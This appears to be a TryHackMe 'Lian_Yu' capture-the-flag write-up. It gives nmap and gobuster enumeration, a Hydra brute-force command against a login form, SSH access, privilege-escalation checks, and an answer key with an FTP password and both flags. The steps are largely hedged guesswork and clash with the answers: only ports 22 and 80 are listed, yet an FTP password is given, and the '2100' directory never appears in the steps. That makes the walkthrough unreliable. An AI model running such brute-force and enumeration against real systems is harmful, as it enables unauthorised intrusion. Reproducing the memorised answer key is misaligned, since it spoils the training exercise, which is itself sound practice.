



TryHackMe - Lian_Yu Writeup

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Difficulty: Easy

IP: `<IP>`

Skills: Enumeration, Web Recon, Privilege Escalation



1. Nmap Scan

```
nmap -sC -sV -oN nmap.txt <IP>
```

Ports found:

- 22 (SSH)
- 80 (HTTP)



2. Web Enumeration

Visit `http://<IP>` in your browser.



Gobuster

```
gobuster dir -u http://<IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -o gobuster.txt
```

Found:

- `/island`
- `/green_arrow`

- `/notes.txt`



Read notes.txt

It might give hints about usernames or files to check.



3. User Discovery

Visit `/green_arrow` — it might be password-protected.

Use **Hydra** or **basic login fuzzing** if credentials are hinted:

```
hydra -l admin -P rockyou.txt <IP> http-post-form "/green_arrow:username=^
USER^&password=^PASS^:Invalid"
```



4. Getting a Shell

If credentials are found, try SSH:

```
ssh <username>@<IP>
```



5. Privilege Escalation

Check for sudo permissions:

```
sudo -l
```

Look for:

- Sudo rights without password
 - Writable scripts in `/etc`
 - Cron jobs
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🚩 6. Capture the Flag(s)

Use `cat` to read the user and root flags:

```
cat /home/<user>/user.txt  
cat /root/root.txt
```

✅ Flags

- **User flag:** 🎯 Found after login
- **Root flag:** 🎯 Found after privilege escalation

Answer the questions below

Deploy the VM and Start the Enumeration.

No answer needed ✓ Correct Answer

What is the Web Directory you found?

2100 ✓ Correct Answer Hint

what is the file name you found?

green_arrow.ticket ✓ Correct Answer Hint

what is the FTP Password?

!#th3h00d ✓ Correct Answer Hint

what is the file name with SSH password?

shado ✓ Correct Answer

user.txt

THM{P30P7E_K33P_53CRET5__COMPUT3R5_D0N'T}

✓ Correct Answer

root.txt

THM{MY_W0RD_IS_MY_B0ND_IF_I_ACC3PT_YOUR_CONTRACT_THEN_IT_WILL_BE_COMPL3TED_OR_I'LL_BE_D34D}

✓ Correct Answer